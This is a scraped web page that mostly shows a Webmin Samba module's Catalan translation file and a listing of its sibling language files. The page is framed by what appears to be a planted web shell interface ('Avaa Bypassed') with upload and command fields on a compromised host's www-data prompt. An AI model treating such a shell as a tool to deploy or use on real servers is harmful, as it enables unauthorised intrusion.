[ Avaa Bypassed ]




Upload:

Command:

www-data@3.139.237.218: ~ $
index_title=Compartició de Fitxers Windows Samba
index_sharelist=a la llista de recursos
index_userlist=a la llista d'usuaris
index_fileshare=al directori compartit
index_printershare=a la impressora compartida
index_shareconf=a la configuració del recurs
index_version=Versió Samba $1
index_samba=Samba

index_sharename=Nom del Recurs
index_path=Camí
index_security=Seguretat
index_homedir=Tots els Directoris Home
index_allprinter=Totes les Impressores
index_printer=Impressora
index_defaultprn=Impressora per defecte
index_printableto=Imprimible per
index_prneveryone=Imprimible per tothom
index_prnalluser=Imprimible per tots els usuaris coneguts
index_rwpublic=Lectura/escriptura per tothom
index_readonly=Només lectura per $1<br>Lectura/escriptura per a tots els altres usuaris
index_rwalluser=Lectura/escriptura per tots els usuaris coneguts
index_roeveryone=Només lectura per tothom
index_readwrite=Lectura/escriptura per $1<br>Només lectura per tots els altres usuaris coneguts
index_roalluser=Només lectura per tots els usuaris coneguts
index_noshares=No hi ha cap recurs Samba definit
index_createfileshare=Crea un nou directori compartit.
index_createprnshare=Crea una nova impressora compartida.
index_createcopy=Crea una nova còpia.
index_view=Mostra totes les connexions.
index_start=Inicia els Servidors Samba
index_start_wb=Inicia els Servidors Winbind
index_startmsg=No sembla que els servidors Samba estiguin en execució al sistema. Això vol dir que els recursos llistats més amunt no seran accessibles per altres ordinadors.
index_startmsg_wb=No sembla que els servidors Winbind estiguin en execució al sistema.
index_restart=Reinicia els Servidors Samba
index_restartmsg=Fes clic sobre aquest botó per reiniciar els servidors Samba en execució al sistema. Això forçarà l'aplicació de la configuració actual.
index_restartmsg_wb=Fes clic sobre aquest botó per reiniciar els servidors Winbind en execució al sistema.
index_restartmsg2=Això també desconnectarà totes les connexions del servidor, així que si no vols que la configuració actual s'apliqui immediatament, hauries d'esperar 1 minut fins que Samba recarregui automàticament la configuració.
index_stop=Atura els Servidors Samba
index_stop_wb=Atura els Servidors Winbind
index_stopmsg=Fes clic sobre aquest botó per tancar els servidors Samba en execució al sistema. Tots els usuaris connectats seran desconnectats per força.
index_stopmsg_wb=Fes clic sobre aquest botó per tancar els servidors Winbind en execució al sistema.
index_einclude=Atenció - El fitxer de configuració $1 de Samba conté la directiva $2 o $3. Això pot provocar que Webmin modifiqui el fitxer incorrectament.
index_delete=Suprimeix els Recursos Seleccionats

config_mins=Mins
config_secs=segs
config_bytes=Bytes
config_never=Mai
config_all=Tots
config_neither=Cap

global_title=Configuració Global
global_unixnetwork=Xarxa Unix
global_winnetwork=Xarxa Windows
global_auth=Autenticació
global_printing=Impressió de Windows a Unix
global_misc=Miscel·lània
global_filedefault=Valors per defecte dels directoris compartits
global_prndefault=Valors per defecte de les impressores compartides
global_password=Contrasenyes xifrades
global_users=Usuaris Samba
global_group=Grups Samba
global_bind=Opcions Winbind

error_nosamba=No s'ha trobat l'executable servidor de samba <tt>$1</tt>. O bé el Samba no està instal·lats, o bé la <a href="$2">configuració del mòdul</a> és incorrecta.
error_version=El Webmin no ha pogut obtenir la versió de l'executable servidor de Samba <tt>$1</tt>. Comprova la <a href="$2">configuració del mòdul</a> per assegurar que el camí és el correcte.
error_config=No s'ha trobat el fitxer de configuració $1. Segurament, el Samba no està instal·lat, o bé la <a href="$2">configuració del mòdul</a> és incorrecta.
error_include=Webmin no pot manipular els fitxers de configuració de Samba que empren les directives <tt>config</tt> o <tt>include</tt>.
error_delshare=No s'ha pogut suprimir el recurs
error_delcopy=El recurs '$1' és una còpia del recurs
error_savename=No s'han pogut desar els noms de fitxers

convert_title=Conversió d'Usuaris
convert_msg=Aquest formulari permet sincronitzar ls llista d'usuaris de Unix i de Samba. Quan el Samba utilitza <a href=$1>contrasenyes xifrades</a>, s'utilitza una llista separada d'usuaris i contrasenyes en lloc de la llista d'usuaris del sistema.
convert_noconv=No converteixis o elimina aquests usuaris:
convert_ncdesc=La llista d'usuaris a no convertir pot contenir noms d'usuari, UIDs, noms de grup prefixats amb <tt>@</tt>, o rangs d'UIDs com ara <i>500-1000</i> o <i>500-</i>.
convert_update=Actualitza els usuaris del Samba a partir dels detalls de Unix
convert_add=Afegeix nous usuaris de Samba a partir de la llista d'usuaris Unix
convert_delete=Suprimeix els usuaris de Samba que no existeixin en Unix 
convert_newuser=Per a nous usuaris, estableix la contrasenya a:
convert_nopasswd=Sense contrasenya
convert_lock=Compte bloquejat
convert_passwd=Utilitza aquesta contrasenya
convert_convert=Converteix els Usuaris
convert_cannot=Els usuaris Unix no es poden convertir a usuaris Samba
convert_who=Usuaris Unix a convertir
convert_who0=Només els usuaris o rangs d'UIDs llistats
convert_who1=Tots excepte els usuaris o rangs d'UIDs llistats

misc_title=Opcions Miscel·lànies
misc_debug=Nivell de Depuració
misc_cachecall=Crides a <tt>getwd()</tt> en memòria cau
misc_lockdir=Directori de bloqueigs
misc_log=Fitxer de registres
misc_maxlog=Mida màxima del registre
misc_rawread=Permet lectures pelades
misc_rawwrite=Permet escriptures pelades
misc_overlapread=Mida de solapament en lectura
misc_chroot=Directori <tt>chroot()</tt>
misc_smbrun=Camí de <tt>smbrun</tt>
misc_clienttime=Marge de temps del client
misc_readprediction=Predicció de lectura

net_title=Opcions de Xarxa Unix
net_idle=Temps d'inacció abans de desconnectar
net_trustlist=Fitxer de hosts/usuaris fiables
net_netinterface=Interfícies de Xarxa
net_auto=Automàtic
net_uselist=Utilitza llista...
net_interface=Interfície
net_netmask=Màscara de subxarxa
net_keepalive=Paquets 'keepalive'
net_notsend=No n'enviïs cap
net_every=Envia'ls cada
net_maxpacket=Mida màxima de paquet
net_listen=Escolta l'adreça
net_ip=Adreça IP
net_socket=Opcions del sòcol

passwd_title=Opcions de Contrasenya
passwd_encrypt=Utilitza contrasenyes xifrades
passwd_allownull=Permet contrasenyes nul·les
passwd_program=Programa de contrasenyes
passwd_case=Distinció entre majúscules i minúscules
passwd_sync=Canvia també la contrasenya Unix
passwd_chat=Canvia el guió de canvi de la contrasenya
passwd_below=Llistats a sota:
passwd_waitfor=Espera
passwd_send=Envia
passwd_map=Mapeig de noms d'usuari
passwd_unixuser=Usuaris Unix
passwd_winuser=Usuaris Windows

print_title=Opcions d'Impressió
print_style=Impressió estil Unix
print_show=Mostra totes les impressores
print_printcap=Fitxer printcap
print_cachetime=Temps del cau de l'estat d'impressora

smb_title=Opcions de Xarxa Windows
smb_workgroup=Grup de treball
smb_wins=Mode WINS
smb_winsserver=Sigues un servidor WINS
smb_useserver=Utilitza un servidor
smb_description=Descripció del servidor
smb_descriptionnone=Cap
smb_name=Nom del servidor
smb_aliase=Àlies del servidor
smb_default=Servei per defecte
smb_show=Mostra sempre els serveis
smb_disksize=Mida màxima de disc informada
smb_unlimited=Il·limitada
smb_winpopup=Ordre Winpopup
smb_priority=Prioritat de mestres d'exploració
smb_protocol=Protocol més alt
smb_master=Explorador Mestre
smb_master_auto=Automàtic
smb_security=Seguretat
smb_sharelevel=A nivell de recurs
smb_userlevel=A nivell d'usuari
smb_passwdserver=Servidor de contrasenyes
smb_server=Servidor de contrasenyes
smb_domain=Domini
smb_ads=Directori actiu
smb_announce=Anunci remot a
smb_nowhere=Enlloc
smb_fromlist=De la llista...
smb_ip=Adreça IP
smb_asworkgroup=<b>Com a Grup de Treball</b> (opcional)

create_title=Creació de Còpia
create_msg=Una còpia d'un recurs heretarà tots els seus valors per defecte del recurs que triïs. Si el recurs original es canvia, la còpia també. 
create_from=Recurs origen:
create_name=Nou recurs:

smbuser_title=Usuaris Samba
smbuser_list=Llista d'Usuaris de Samba
smbuser_nouser=No hi ha cap usuari de Samba definit.
smbuser_cannot=No es poden llistar els usuaris Samba

euser_title=Edició d'Usuari Samba
euser_name=Usuari
euser_uid=UID Unix
euser_passwd=Contrasenya
euser_noaccess=Sense accés
euser_nopw=Sense contrasenya
euser_currpw=Contrasenya actual
euser_newpw=Contrasenya nova
euser_realname=Nom real
euser_homedir=Directori arrel
euser_shell=Shell
euser_option=Opcions d'usuari
euser_normal=Usuari normal
euser_noexpire=La contrasenya no expira mai
euser_locked=El compte està bloquejat
euser_nopwrequired=No cal contrasenya
euser_disable=Compte desactivat
euser_trust=Compte de fiabilitat d'estació de treball

fmisc_title=Valors Miscel·lanis de Fitxer
fmisc_for=Del recurs <tt>$1</tt>
fmisc_lockfile=Bloqueja els fitxers
fmisc_maxconn=Nombre màxim de connexions
fmisc_fake=Simula oplocks
fmisc_oplocks=Activa oplocks
fmisc_level2=Oplocks només lectura
fmisc_sharemode=Utilitza modes del recurs
fmisc_strict=Bloqueig estricte
fmisc_sync=Sync després d'escriure
fmisc_volume=Nom del volum
fmisc_sameas=Igual que el recurs
fmisc_unixdos=Mapeig del nom del fitxer Unix-DOS
fmisc_conncmd=Ordre a executar en connectar
fmisc_disconncmd=Ordre a executar en desconnectar
fmisc_rootconn=Ordre a executar en connectar <i>com a root</i>
fmisc_rootdisconn=Ordre a executar en desconnectar <i>com a root</i>

fname_title1=Nomenament de Fitxers
fname_title2=Edició de Noms de Fitxers
fname_option=Opcions de Noms de Fitxers
fname_manglecase=Converteix la caixa
fname_case=Sensible a caixa
fname_defaultcase=Caixa per defecte
fname_lower=Minúscules
fname_upper=Majúscules
fname_preserve=Conserva la caixa
fname_shortpreserve=Conserva la caixa dels noms curts
fname_hide=Oculta els fitxers .
fname_archive=Conserva l'atribut de fitxer de DOS
fname_hidden=Conserva l'atribut d'ocultació de DOS
fname_system=Conserva l'atribut de sistema de DOS

fperm_title1=Permisos de Fitxers
fperm_title2=Edició de Permisos de Fitxers
fperm_option=Opcions de Permisos de Fitxers
fperm_filemode=Mode Unix de fitxer nou
fperm_dirmode=Mode Unix de directori nou
fperm_notlist=Directoris que no s'han de llistar
fperm_forceuser=Força usuari de Unix
fperm_forcegrp=Força grup de Unix
fperm_link=Permet enllaços simbòlics fora del recurs
fperm_delro=Permet la supressió de fitxers només lectura
fperm_forcefile=Força el mode de fitxer Unix
fperm_forcedir=Força el mode de directori Unix

share_title1=Directori Compartit
share_title2=Edició de Directori Compartit
share_title3=Creació de Directori Compartit
share_info=Informació del recurs
share_copy=Aquest recurs és una còpia de <i>$1</i>
share_name=Nom del recurs
share_home=Compartició dels Directoris Arrel
share_dir=Directori compartit
share_create=Crea el directori automàticament
share_owner=Crea amb usuari
share_createperms=Crea amb el permisos
share_group=Crea amb el grup
share_available=Disponible
share_browseable=Explorable
share_comment=Comentari del Recurs
share_view=Mostra les Connexions
share_option=Altres Opcions del Recurs
share_security=Seguretat i Control d'Accés
share_permission=Permisos de Fitxers
share_naming=Nomenament de Fitxers
share_misc=Opcions Miscel·lànies
share_samedesc1=Nota - aquests valors també afectaran els valors per defecte de tots els recursos compartits. 
share_samedesc2=Nota - aquests valors també afectaran els valors per defecte de totes les impressores compartides.

print_title1=Opcions d'Impressió
print_title2=Edició d'Opcions d'Impressió
print_option=Opcions d'Impressió
print_minspace=Espai lliure mínim
print_postscript=Força impressió PostScript
print_command=Ordre d'impressió
print_queue=Ordre de mostra de la cua
print_delete=Ordre de supressió de treball
print_pause=Ordre de suspensió de treball
print_unresume=Ordre de represa de treball
print_driver=Controlador d'impressora

pshare_title1=Impressora Compartida
pshare_title2=Edició d'Impressora Compartida
pshare_title3=Creació d'Impressora Compartida
pshare_info=Informació de la Impressora
pshare_name=Nom de la Impressora
pshare_all=Totes les Impressores Compartides
pshare_unixprn=Impressora Unix
pshare_spool=Directori de spool

sec_index1=Seguretat
sec_index2=Edició de la Seguretat
sec_writable=Lectura/Escriptura
sec_guest=Accés hoste
sec_guestonly=Només hoste
sec_guestaccount=Usuari hoste Unix
sec_limit=Limita a la llista de possibles
sec_allowhost=Hosts permesos
sec_onlyallow=Permet només
sec_denyhost=Hosts denegats
sec_onlydeny=Denega només
sec_revalidate=Revalida els usuaris
sec_validuser=Usuaris vàlids
sec_validgroup=Grups vàlids
sec_invaliduser=Usuaris invàlids
sec_invalidgroup=Grups invàlids
sec_possibleuser=Usuaris possibles
sec_possiblegroup=Grups possibles
sec_rouser=Usuaris només lectura
sec_rogroup=Grups només lectura
sec_rwuser=Usuaris lectura/escriptura
sec_rwgroup=Grups lectura/escriptura

esync_title=Sincronització d'Usuaris
esync_msg=Webmin es pot configurar de manera que els canvis a la llista d'usuaris de Unix s'apliquin automàticament a la llista d'usuaris del Samba. Això només funcionarà si s'utilitza el mòdul <b>Usuaris i Grups</b> de Webmin per a afegir, suprimir o canviar usuaris.
esync_add=Afegeix un usuari de Samba quan s'afegeixi un usuari Unix
esync_chg=Canvia l'usuari de Samba quan es canviï l'usuari Unix
esync_del=Suprimeix l'usuari de Samba quan se suprimeixi l'usuari Unix
esync_del_profile=Suprimeix el perfil errant quan se suprimeix un usuari Unix
esync_chg_profile=Reanomena el perfil errant quan es reanomena un usuari Unix
esync_gid=SID o RID de grup dels usuaris nous
esync_apply=Aplica
esync_cannot=No es pot configurar la sincronització d'usuaris
esync_egid=Hi falta el SID o RID del grup o bé és invàlid

mkpass_title=Conversió d'Usuaris
mkpass_convfail=No s'ha pogut convertir l'usuari
mkpass_msg=S'estan convertint els usuaris Unix...
mkpass_skip=Omès
mkpass_same=Ja és el mateix
mkpass_update=Actualitzat
mkpass_added=Afegit
mkpass_del=Suprimit
mkpass_passfail=No s'ha pogut establir la contrasenya
mkpass_user=Usuari
mkpass_action=Acció presa
mkpass_skipcount=S'han omès $1 usuaris en la conversió.

savecopy_fail=No s'ha pogut crear la còpia
savecopy_global=El nom 'global' no es pot utilitzar per a cap recurs
savecopy_exist=Ja existeix un recurs anomenat '$1'
savecopy_ename=No has introduït cap nom de recurs

saveuser_fail=No s'ha pogut desar l'usuari
saveuser_uid='$1' no és un UID de Unix vàlid
saveuser_colon=El nom real no pot contenir el caràcter :
saveuser_home=El directori arrel '$1' no existeix
saveuser_shell=$1 no és una shell vàlida
saveuser_pass=No s'ha pogut canviar la contrasenya amb smbpasswd : $1
saveuser_ews=No es pot activar l'opció 'Compte de fiabilitat d'estació de treball' per als usuaris existents

savefmisc_fail=No s'han pogut desar les opcions miscel·lànies
savefmisc_number='$1' no és un nombre vàlid de connexions

savefperm_fail=No s'han pogut desar els permisos de fitxers
savefperm_mode='$1' no és un mode de fitxer Unix vàlid

savefshare_fail=No s'ha pogut desar el recurs
savefshare_nopath=No s'ha donat el camí
savefshare_exist=Ja existeix un recurs anomenat '$1'
savefshare_mode='$1' no és un nom de recurs vàlid
savefshare_global=El nom 'global' o es pot utilitzar per a cap recurs
savefshare_owner=Hi falta l'usuari del nou directori o bé és invàlid
savefshare_group=Hi falta grup del nou directori o bé és invàlid
savefshare_perms=Hi falten els permisos del nou directori o bé són invàlids
savefshare_emkdir=No s'ha pogut crear el directori: $1

savemisc_fail=No s'han pogut desar les opcions
savemisc_lockdir=El directori que conté el directori de bloqueigs no existeix
savemisc_logdir=El directori que conté el fitxer de registre no existeix
savemisc_logsize='$1' no és una mida del registre vàlida
savemisc_overlap='$1' no és una mida vàlida de solapament en lectura
savemisc_chroot=El directori chroot '$1' no existeix
savemisc_smbrun=El programa smbrun '$1' no existeix o no és executable
savemisc_time='$1' no és un marge de temps vàlid

savenet_fail=No s'han pogut desar les opcions
savenet_timeout='$1' no és un temps límit de desconnexió vàlid
savenet_ip='$1' no és un byte IP vàlid
savenet_keep='$1' no és un interval 'keepalive' vàlid
savenet_maxxmit='$1' no és una mida màxima de paquet vàlida

savepass_fail=No s'han pogut desar les opcions
savepass_nopass=La teva versió de Samba no suporta contrasenyes xifrades
savepass_passwd=No s'ha donat cap programa de canvi de contrasenyes
savepass_level='$1' no és un valor vàlid de caixa
savepass_chat=El guió de canvi de contrasenya és buit

savepopts_fail=No s'han pogut desar les opcions de la impressora
savepopts_number=L'espai lliure mínim ha de ser un número

saveprint_fail=No s'han pogut desar les opcions
saveprint_printcap=El fitxer printcap '$1' no existeix
saveprint_cache='$1' no és un temps de cau vàlid

savepshare_fail=No s'ha pogut desar la impressora compartida
savepshare_exist=Ja existeix un recurs anomenat '$1'
savepshare_name='$1' no és un nom de recurs vàlid
savepshare_global=El nom 'global' no es pot utilitzar per a cap recurs

savesec_fail=No s'ha pogut desar la seguretat

savesmb_fail=No s'han pogut desar les opcions
savesmb_size='$1' no és una mida vàlida de disc
savesmb_oslevel='$1' no és una prioritat de mestre d'exploració vàlida
savesmb_server=Has d'introduir un servidor de contrasenyes

start_err=No s'han pogut iniciar els servidors Samba
start_fail=$1 ha fallat
start_err_wb=No s'han pogut iniciar els servidors Winbind

restart_err=No s'han pogut reiniciar els servidors Samba
restart_err_wb=No s'han pogut reiniciar els servidors Winbind

swats_fail=No s'ha pogut desar el nom d'usuari
swats_user=Falta el nom d'usuari SWAT

viewu_index=Usuaris Actuals
viewu_list=Usuaris actuals de $1
viewu_share=Recurs
viewu_user=Usuari
viewu_group=Grup
viewu_from=Connectat des de
viewu_time=Connectat des de
viewu_pid=ID del Procés
viewu_msg1=Fes clic sobre un ID de procés de la llista per desconnectar aquest usuari.
viewu_msg2=No hi ha cap usuari actualment connectat
viewu_locks=Fitxers oberts
viewu_none=Cap
viewu_ecmd=No sembla que el programa d'estat de samba $1 estigui instal·lat al sistema. Pot ser que la <a href='$2'>configuració del mòdul</a> sigui incorrecta.
viewu_kill=Desconnecta els Usuaris Seleccionats
viewu_enone=No has seleccionat cap usuari
viewu_refresh=Refresca la pàgina.

log_apply=S'han reiniciat els servidors Samba
log_apply_wb=S'han reiniciat els servidors Winbind
log_stop=S'han aturat els servidors Samba
log_stop_wb=S'han aturat els servidors Winbind
log_start=S'han iniciat els servidors Samba
log_start_wb=S'han iniciat els servidors Winbind
log_save_fshare=S'ha modificat el directori compartit $1
log_save_pshare=S'ha modificat la impressora compartida $1
log_save_sec=S'ha modificat la seguretat i el control d'accés del recurs $1
log_save_fperm=S'han modificat els permisos de fitxers del recurs $1
log_save_fname=S'ha modificat el nomenament de fitxers del recurs $1
log_save_fmisc=S'han modificat les opcions miscel·lànies del recurs $1
log_save_popts=S'han modificat les opcions de la impressora compartida $1
log_default_fshare=S'han canviat les opcions del directori compartit
log_default_pshare=S'han canviat les opcions de la impressora compartida
log_kill=S'ha desconnectat el procés $1
log_skill=S'ha desconnectat el procés $1 del recurs $2
log_kills=S'han desconnectat $1 processos
log_skills=S'han desconnectat $1 processos del recurs $2
log_create_fshare=S'ha creat el directori compartit $1
log_create_pshare=S'ha creat la impressora compartida $1
log_delete_fshare=S'ha suprimit el directori compartit $1
log_delete_pshare=S'ha suprimit la impressora compartida $1
log_delete_shares=S'han suprimit $1 recursos compartits
log_net=S'han canviat les opcions de xarxa Unix
log_smb=S'han canviat les opcions de xarxa Windows
log_pass=S'han canviat les opcions d'autenticació
log_print=S'han canviat les opcions d'impressió de Windows a Unix
log_misc=S'han canviat les opcions miscel·lànies
log_bind=Canvia les opcions Winbind
log_sync=S'ha configurat la sincronització d'usuaris Unix
log_epass=S'han convertit els usuaris Unix a usuaris Samba
log_epass_l=S'han convertit els usuaris Unix a usuaris Samba ($1 creat(s(, $2 modificat(s), $3 suprimit(s))
log_copy=S'ha copiat el recurs $2 a $1
log_save_euser=S'ha modificat l'usuari Samba $1
log_delete_euser=S'ha suprimit l'usuari Samba $1
log_create_group=S'ha creat el grup Samba $1
log_modify_group=S'ha modificat el grup Samba $1
log_delete_group=S'ha suprimit el grup Samba $1
log_gsync=S'ha configurat la sincronització de grups Unix
log_manual=S'ha editat manualment el fitxer de configuració $1

swat_title=Connexió SWAT
swat_list=Connexió SWAT
swat_msg1=El teu nom i contrasenya SWAT actuals són incorrectes. Utilitza el formulari inferior per tornar-te a connectar.
swat_msg2=Cal un usuari i una contrasenya per connectar-se al SWAT. Normalment, això pot ser un usuari qualsevol del sistema.
swat_msg3=No pots executar el SWAT des de Webmin, ja que la configuració del Samba té establerta l'opció <tt>$1:...</tt> (allow hosts).
swat_msg4=No obstant, pots connectar directament amb el SWAT a $1
swat_username=Usuari
swat_password=Contrasenya
swat_login=Connecta't
swat_clear=Neteja
swat_logout=Surt de SWAT

eacl_aviol=Violació del control d'accés
eacl_np=No tens permisos per
eacl_papply=reiniciar aquest servei
eacl_pcn=editar les opcions de xarxa Unix
eacl_pcs=editar les opcions de xarxa SMB
eacl_pcp=editar les opcions de contrasenyes
eacl_pcprint=editar les opcions d'impressió
eacl_pcm=editar les opcions miscel·lànies
eacl_pcswat=utilitzar el SWAT
eacl_pcopy=copiar recursos
eacl_pconn_all=veure totes les connexions
eacl_pconn=veure les connexions d'aquest recurs
eacl_pgkill=matar les connexions
eacl_pkill=matar aquesta connexió
eacl_pus=actualitzar el recurs
eacl_pcrs=crear el recurs
eacl_pds=suprimir el recurs
eacl_pusec=actualitzar les opcions de  seguretat i control d'accés d'aquest recurs
eacl_pufperm=actualitzar les opcions de permisos de fitxers d'aquest recurs
eacl_pufname=actualitzar les opcions de nomenament de fitxers d'aquest recurs
eacl_pufmisc=actualitzar les opcions miscel·lànies d'aquest recurs
eacl_pupopt=actualitzar les opcions d'impressió d'aquest recurs
eacl_pmpass=inicialitzar la base de dades d'usuaris Samba
eacl_pmsync=mantenir la sincronització d'usuaris Unix-Samba
eacl_pmusers=mantenir els usuaris Samba
eacl_pvusers=accedir els usuaris Samba
eacl_pvfmisc=accedir les opcions miscel·lànies d'aquest recurs
eacl_pvfname=accedir les opcions de nomenament de fitxers d'aquest recurs
eacl_pvperm=accedir les opcions de permisos de fitxers d'aquest recurs
eacl_pvsec=accedir les opcions de seguretat i control d'accés d'aquest recurs
eacl_pvpopt=accedir les opcions d'impressió d'aquest recurs
eacl_pafs=accedir aquest directori compartit
eacl_paps=accedir aquesta impressora compartida
eacl_pcps=crear impressores compartides
eacl_pcfs=crear directoris compartits

acl_apply=Pot aplicar canvis i aturar Samba
acl_view_all_con=Pot veure totes les connexions
acl_kill_con=Pot eliminar connexions
acl_conf_net=Pot configurar opcions de xarxa Unix
acl_conf_smb=Pot configurar opcions de xarxa Windows
acl_conf_pass=Pot configurar opcions d'autenticació
acl_conf_print=Pot configurar opcions d'impressió
acl_conf_misc=Pot configurar opcions miscel·lànies
acl_swat=Pot utilitzar SWAT
acl_manual=Pot editar manualment el fitxer de configuració
acl_enc_passwd_opts=Opcions de contrasenyes xifrades
acl_view_users=Pot veure la base de dades d'usuaris Samba
acl_maint_users=Pot editar usuaris Samba
acl_maint_makepass=Pot convertir els usuaris Unix a usuaris Samba
acl_maint_sync=Pot mantenir la sincronització automàtica d'usuaris UNIX/SAMBA
acl_hide=Amaga els objectes inaccessibles
acl_c=creació
acl_r=lectura
acl_w=escriptura
acl_afs=Accés a directoris compartits
acl_aps=Accés a impressores compartides
acl_copy=Pot copiar recursos
acl_per_fs_acls=Activa acls per directori compartit
acl_per_ps_acls=Activa acls per impressora compartida
acl_per_share_acls=ACLs per recurs...
acl_ernow=Si vols activar l'accés d'escriptura als ACLs globals per a algun tipus d'objecte, també has d'activar l'accés de lectura d'aquest tipus d'objecte.
acl_sname=Nom del recurs
acl_saccess=Accés al recurs
acl_sconn=Connexions
acl_sopthdr=Opcions del recurs
acl_ssec=seguretat
acl_sperm=permisos
acl_snaming=nomenament de fitxers
acl_smisc=miscel·lània
acl_sprn=o impressora
acl_na=n/a
acl_r1=només lectura
acl_rw=lectura/escriptura
acl_view=veure
acl_kill=matar
acl_edit=editar
acl_group_opts=Opcions del grup Samba
acl_maint_groups=Pot veure, editar i afegir grups
acl_maint_gsync=Pot mantenir la sincronia automàtica entre grups Unix i Samba
acl_winbind=Pot vincular a dominis
acl_bind=Pot accedir a les opcions de winbind

groups_title=Grups Samba
groups_name=Nom del grup
groups_unix=Grup Unix
groups_nounix=Cap
groups_type=Tipus
groups_type_d=Grup de domini
groups_type_b=integrat a NT
groups_type_l=Grup local
groups_type_u=Desconegut
groups_sid=SID
groups_none=Encara no s'ha definit cap grup Samba
groups_return=a la llista de grups
groups_add=Afegeix un nou grup Samba.
groups_ecannot=No tens permís per veure ni editar els grups Samba
groups_cannot=No es poden llistar els grups Samba

gedit_title2=Edició de Grup Samba
gedit_title1=Creació de Grup Samba
gedit_header=Detalls del grup Samba
gedit_name=Nom del grup
gedit_type=Tipus de grup
gedit_sid=SID del grup
gedit_desc=Descripció
gedit_priv=Privilegis
gedit_unix=Grup Unix
gedit_unixgr=Grup...
gedit_none=Cap
gedit_set=Els llistats...

gsave_err=No s'ha pogut desar el grup
gsave_eunix=Hi falta el nom del grup i GID Unix, oi bé és invàlid
gsave_ename=Hi falta el nom del grup
gsave_epriv=Hi falten els privilegis del grup
gsave_elocal=Només es poden establir privilegis per a grups locals

gsync_title=Sincronització de Grups
gsync_msg=Webmin es pot configurar per tal que els canvis en els grups Unix s'apliquin automàticament als grups Samba. Això només funcionarà si s'utilitza el mòdul <b>Usuaris i Grups</b> de Webmin per a afegir, suprimir o canviar grups.
gsync_add=Afegeix un grup Samba quan s'afegeixi un grup Unix
gsync_chg=Canvia el grup Samba quan es canviï un grup Unix
gsync_del=Suprimeix el grup Samba quan se suprimeixi un grup Unix
gsync_apply=Aplica
gsync_type=Tipus dels grups nous
gsync_priv=Privilegis dels grups nous (si són locals)
gsync_ecannot=No tens permís per configurar la sincronització de grups
gsync_cannot=No es pot configurar la sincronització de grups

check_user1=$1: El xifratge de contrasenyes no està activat a la pàgina d'<a href='$2'>Autenticació</a>.
check_user2=$1: No estan especificats a la pàgina de <a href='$2'>Configuració del Mòdul</a> ni el fitxer de contrasenyes de Samba ni el camí de pdbedit.
check_group1=$1: Els grups només estan suportats a la versió 3 de Samba.
check_group2=$1: No estan especificats a la pàgina de <a href='$2'>Configuració del Mòdul</a> ni el camí de l'ordre smbgroupedit ni el de l'ordre net.

winbind_title=Vinculació a Domini
winbind_ecannot=No tens permís per vincular a dominis
winbind_msg=Es pot utilitzar aquest formulari per vincular aquest servidor Samba a un domini de Windows, típicament gestionat per un servidor diferent.
winbind_header=Vincula a un domini Windows
winbind_user=Vincula com a usuari
winbind_dom=Vincula al domini
winbind_save=Vincula'l Ara
winbind_default=Domini de la configuració de Samba
winbind_pass=Contrasenya de l'usuari
winbind_err=No s'ha pogut vincular al domini
winbind_euser=Hi falta el nom d'usuari
winbind_edom=Hi falta el nom del domini
winbind_cmd=S'està vinculant al domini amb l'ordre $1...
winbind_failed=...ha fallat! Vegeu la sortida de sobre per veure'n la raó.
winbind_ok=...completat

bind_title=Opcions Winbind
bind_ecannot=No tens permís per editar les opcions winbind
bind_header=Opcions de vincle a domini Windows
bind_local=Activa Winbind per als comptes locals
bind_trust=Confia en els usuaris del servidor de domini
bind_users=No permetis el llistat d'usuaris
bind_groups=No permetis el llistat de grups
bind_defaultdomain=Utilitza sempre el domini per defecte
bind_realm=Reialme Kerberos del servidor de domini
bind_cache=Nombre de segons que cal posar els detalls de l'usuari al cau
bind_uid=Rang de UIDs dels usuaris de Windows
bind_gid=Rang de GIDs dels grups de Windows
bind_backend=Repositori LDAP per al mapejat de comptes
bind_err=No s'han pogut desar les opcions Winbind
bind_erealm=Reialme Kerberos invàlid
bind_ecache=Hi falta el temps de cau o bé és invàlid
bind_euid=Rang de UID invàlid - ha de ser com 20000-30000
bind_egid=Rang de GID invàlid - ha de ser com 20000-30000

manual_title=Edició del Fitxer de Configuració
manual_desc=S'està editant el fitxer de configuració de Samba $1...
manual_err=No s'ha pogut desar el fitxer de configuració
manual_edata=No has introduït res!

delete_err=No s'han pogut suprimir els recursos
delete_enone=No has seleccionat cap recurs

Filemanager

Name Type Size Permission Actions
af.auto File 26.62 KB 0644
ar.auto File 35.8 KB 0644
be.auto File 42.57 KB 0644
bg File 44.3 KB 0644
bg.auto File 96 B 0644
ca File 28.71 KB 0644
ca.auto File 95 B 0644
cs File 27.76 KB 0644
cs.auto File 1.65 KB 0644
da File 1.04 KB 0644
da.auto File 25.41 KB 0644
de File 28.99 KB 0644
de.auto File 55 B 0644
el.auto File 47.47 KB 0644
en File 24.67 KB 0644
es File 21.56 KB 0644
es.auto File 8.6 KB 0644
eu.auto File 28.49 KB 0644
fa File 38.36 KB 0644
fa.auto File 3.49 KB 0644
fi.auto File 28.32 KB 0644
fr File 30 KB 0644
fr.auto File 1.62 KB 0644
he.auto File 32.99 KB 0644
hr.auto File 27.86 KB 0644
hu File 24.73 KB 0644
hu.auto File 6.21 KB 0644
it File 17.33 KB 0644
it.auto File 8.57 KB 0644
ja File 28.5 KB 0644
ja.auto File 4.98 KB 0644
ko File 20.87 KB 0644
ko.auto File 9.35 KB 0644
lt.auto File 29.87 KB 0644
lv.auto File 28.33 KB 0644
ms.auto File 27.06 KB 0644
mt.auto File 28.42 KB 0644
nl File 27.5 KB 0644
nl.auto File 173 B 0644
no File 26.64 KB 0644
no.auto File 51 B 0644
pl File 26.3 KB 0644
pl.auto File 2.74 KB 0644
pt.auto File 29.52 KB 0644
pt_BR File 28.44 KB 0644
pt_BR.auto File 1.35 KB 0644
ro.auto File 29.54 KB 0644
ru File 43.94 KB 0644
ru.auto File 248 B 0644
sk.auto File 29.48 KB 0644
sl.auto File 27.79 KB 0644
sv File 18.55 KB 0644
sv.auto File 9.55 KB 0644
th.auto File 53.24 KB 0644
tr File 28.22 KB 0644
tr.auto File 1.69 KB 0644
uk File 31.41 KB 0644
uk.auto File 11.97 KB 0644
ur.auto File 37.84 KB 0644
vi.auto File 32.12 KB 0644
zh File 16.57 KB 0644
zh.auto File 6.63 KB 0644
zh_TW File 19.7 KB 0644
zh_TW.auto File 3.5 KB 0644